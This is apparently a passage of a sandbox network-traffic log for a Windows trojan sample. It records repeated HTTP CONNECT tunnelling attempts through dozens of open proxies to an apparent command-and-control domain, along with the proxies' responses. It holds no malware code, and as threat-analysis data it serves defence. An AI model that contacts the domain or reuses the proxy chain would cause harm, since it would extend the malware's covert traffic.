Feb 23, 2024 14:28:31.341787100 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.8	53051	201.71.2.103	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.867809057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898102045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.042968988 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.8	53029	141.94.174.6	1772	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.868118048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.288701057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.8	53211	58.253.210.122	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.868446112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.8	52110	94.131.107.45	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.871876955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898101091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.898184061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.922715902 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.8	53243	171.247.241.157	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.872263908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.8	50246	173.212.240.168	58854	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.882200956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.8	50188	91.203.114.71	42905	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.884124041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.8	53250	185.109.184.150	56067	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.909843922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.398006916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991821051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.187791109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492011070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820532084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.141141891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695276022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.8	53263	107.181.132.183	6161	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.947500944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.381293058 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.8	53253	37.46.241.247	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.953783989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.165266991 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.8	52821	111.3.102.135	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.954016924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.8	53005	65.20.216.249	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.956248045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.8	53261	103.113.71.230	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.970637083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.8	52941	62.171.133.66	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.989330053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.652753115 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.8	53232	124.163.236.54	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.035093069 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:30.490818024 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.8	53262	200.41.148.2	12000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.035648108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.8	50166	144.24.77.90	55555	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.036412001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.8	53284	46.101.186.238	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.049671888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.570350885 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:30 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.8	53291	184.170.248.5	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.066643953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.8	53264	54.178.159.199	18080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.067806005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.349622965 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 23 Feb 2024 13:28:30 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.8	53041	218.1.200.244	57114	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.068317890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.179317951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.563278913 CET	180	IN	HTTP/1.1 407 Proxy Authentication Required Content-Type: text/plain; charset=utf-8 Proxy-Authenticate: Basic realm="DJHS/1.0;Your IP: 191.96.227.222" Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.8	53019	43.255.113.232	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.074736118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.8	53281	66.29.128.243	35713	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.083134890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.283364058 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.8	52142	14.207.205.57	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.083441973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.066946030 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.8	53267	154.12.178.107	29985	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.087507010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.8	53302	67.201.33.10	25283	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.087510109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.8	53298	45.138.87.238	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.099606991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.8	53257	218.75.102.198	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.127501965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.8	53271	27.65.116.243	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.134630919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.8	53255	221.2.84.42	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.141901970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.8	53280	125.228.143.207	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.153529882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.8	53187	98.178.72.21	10919	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.161364079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.8	53279	154.85.58.149	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.161669970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.487463951 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Fri, 23 Feb 2024 13:28:30 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.8	53111	138.117.116.30	44009	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:30.207973003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.8	53310	121.128.194.154	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
